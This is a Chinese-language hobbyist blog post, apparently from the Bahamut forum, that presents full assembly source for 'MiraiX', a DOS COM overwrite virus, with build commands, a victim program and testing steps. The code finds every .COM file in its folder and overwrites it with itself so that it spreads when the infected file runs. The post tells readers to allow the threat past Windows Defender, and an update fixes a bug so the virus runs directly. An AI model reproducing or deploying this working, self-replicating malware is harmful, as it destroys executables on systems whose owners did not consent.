[#] 警告: 以下內(nèi)文有大量的組合語(yǔ)言內(nèi)容,
至少,需要看的懂上一篇的Hello World的原始碼。
Hi~ Hi~ 終於又見面啦 !
今天要帶給各位的是組語(yǔ)的COM Infector 。
講白了,就是會(huì)感染COM執(zhí)行檔的程式,
而其最為常見的形式可分為三大類:
其個(gè)別的定義,
窩就直接設(shè)在超連結(jié)內(nèi)以方便諸君查看,
其實(shí)真的很酷啦,
畢竟他們都有超她媽有創(chuàng)意的感染手法。
至於為什麼這篇會(huì)拖那麼久呢~
主要是因?yàn)镈ebug的過程一直出問題,
再加上我有堅(jiān)持"不使用自己不懂的程式碼",
為了能看懂裡面每行的意思真的是有夠痛苦的說....
但★是★呢★
只要能夠跨越那條世界線,
一切都會(huì)輕鬆了不少呦 !!(^ω^)
而今天呢~
就來介紹三者之中最為基本的Overwrite Virus吧 !!
UMU !! 廢話不多說,直接上原始碼啦:
[#] MiraiX, Overwrite Virus, Assembly Ver
[#] Coded by Falsedeer(虛鹿)@巴哈姆特
.model tiny ;compile into a COM file
.386
.CODE
ORG 100h
FNAME EQU 9Eh
start:
mov ah, 4Eh ;4E - Search for the first match
xor cx, cx ;CX - attribute to use in search ;DX - search pattern
mov dx, OFFSET target
int 21h
search:
jc done ;jump if carry flag = 1(C = 1)
mov ah, 3Dh ;3D - Open the file
mov al, 2 ;al - intruction type ;DX - name of file
mov dx, FNAME ;return AX as file handle
int 21h
xchg ax, bx ;40 - Write to file
mov ah, 40H ;BX - file handle ;CX - bytes to write
mov cx, 53 ;DX - buffer area
mov dx, 100H
int 21h
mov ah, 3EH ;3E - Close a sussecfly opened file
int 21h ;BX - file handle
mov ah, 4Fh ;4F - search for the next match
int 21h ;carry flag clear if successful
jmp search
done:
mov ah, 4Ch
int 21h
target db "*.COM",0
end start
[#]常見疑問:
---------------------------------------------
Q1. 要 compile 成EXE還是COM?
Ans: COM
---------------------------------------------
Q2. mov ah, xxh 及 int 21h 是甚麼?
Ans: 這是上一篇提到的 Dos interupt,
我只是用了更多funtion而已。
---------------------------------------------
Q3. 為什麼要 .Model tiny ?
Ans: 那是COM執(zhí)行檔的記憶體模型。
---------------------------------------------
Q4. 為什麼要 ORG 100h ?
Ans: 指定執(zhí)行程式時(shí)的記憶體地址,
而100h是專屬COM檔的地址。
---------------------------------------------
Q5. 為什麼沒有把Data Segment放入DS?
Ans: COM檔的CS=DS=SS=ES,
因此不必指定Data的位置。
(如果指定,編譯就會(huì)出錯(cuò))
---------------------------------------------
Q6. 裡面為麼要?jiǎng)幽屈N多暫存器?
Ans: 這些都是依Dos Interupt規(guī)定設(shè)定的,
畢竟要使用功能,就需要設(shè)定參數(shù),
詳見超完整的Int 21h表。
---------------------------------------------
Q7. 怎麼製作COM檔?
Ans: 請(qǐng)去虛鹿的Github下載TASM的備份,
並使用Dosbox執(zhí)行:
tasm miraix
tlink /t miraix
---------------------------------------------
把MiraiX編譯成COM執(zhí)行檔後,
我們會(huì)需要一個(gè)擔(dān)任受害者的程式,
因此就先寫個(gè)簡(jiǎn)單的COM程式。
[#] Target.asm 原始碼:
.model tiny
.386
.CODE
ORG 100h
start:
mov ah, 09h
mov dx, OFFSET msg1
int 21h
mov dx, OFFSET msg2
int 21h
mov ah, 4ch
int 21h
msg1 db "I am the target file~XD",13,10,"$"
msg2 db "Coded by Falsedeer, 02/17/22$"
end start
記得一樣把他Compile成Target.COM。
最後進(jìn)入實(shí)測(cè)階段啦 !!
而沒意外的話,在完成Compile不久後,
你的Window Defender會(huì)噴出來,
記得要允許威脅。
接著,
把MiraiX跟Target拉入TASM的資料夾,
並用Dosbox mount該磁碟,
再切換到該位置。(Ex. mount d D:\\TASM)
先執(zhí)行Target.COM確認(rèn)其被感染前的樣子,
沒意外的話,會(huì)看到以下的輸出結(jié)果:
執(zhí)行看看 td target.com 進(jìn)入turbo debugger,
看一眼被感染前的記憶體狀態(tài)。
退出後,
執(zhí)行 td miraix.com 再次進(jìn)入turbo debugger,
(Windows會(huì)擋,所以無法透過指令列執(zhí)行。)
去手動(dòng)去執(zhí)行MiraiX。
然後,
退出td,執(zhí)行看看Target.COM ,
這時(shí)候你便會(huì)發(fā)現(xiàn)Target已經(jīng)失靈了,
不會(huì)再印出原本該有的字串。
執(zhí)行 td target.COM,把它丟入Debugger,
便可發(fā)現(xiàn)它整個(gè)已經(jīng)變成 MiraiX的形狀了。
把Target.COM上傳至Virus Total,
便可發(fā)現(xiàn)它會(huì)被識(shí)別為"病毒"。
原因是MiraiX用自身覆寫了Target,
把自己寄生在Target.COM之中。
而在下次執(zhí)行Target.COM時(shí),
便可以產(chǎn)生感染其他檔案的效果。
好啦,今天就先講到這邊,
所有的原始碼及超連結(jié)還請(qǐng)諸君安心使用。
MiraiX只會(huì)感染自身資料夾中所有的COM檔,
因此不必替地使用VMWare去試驗(yàn)呦!!
\(≧▽≦)/
———————————————————-
[#]更一:
其實(shí)MiraiX不必要在debugger中執(zhí)行,
是我程式寫錯(cuò)了。
只要把 target db “*.COM$” 改成 “*.COM”,0
就可以在Dosbox中用 “miraix” 快樂執(zhí)行。
剛剛查過了,
”$” 的字串結(jié)尾,
僅限呼叫Dos function 09h 才需要而已,
一般用 “,0” 就行了。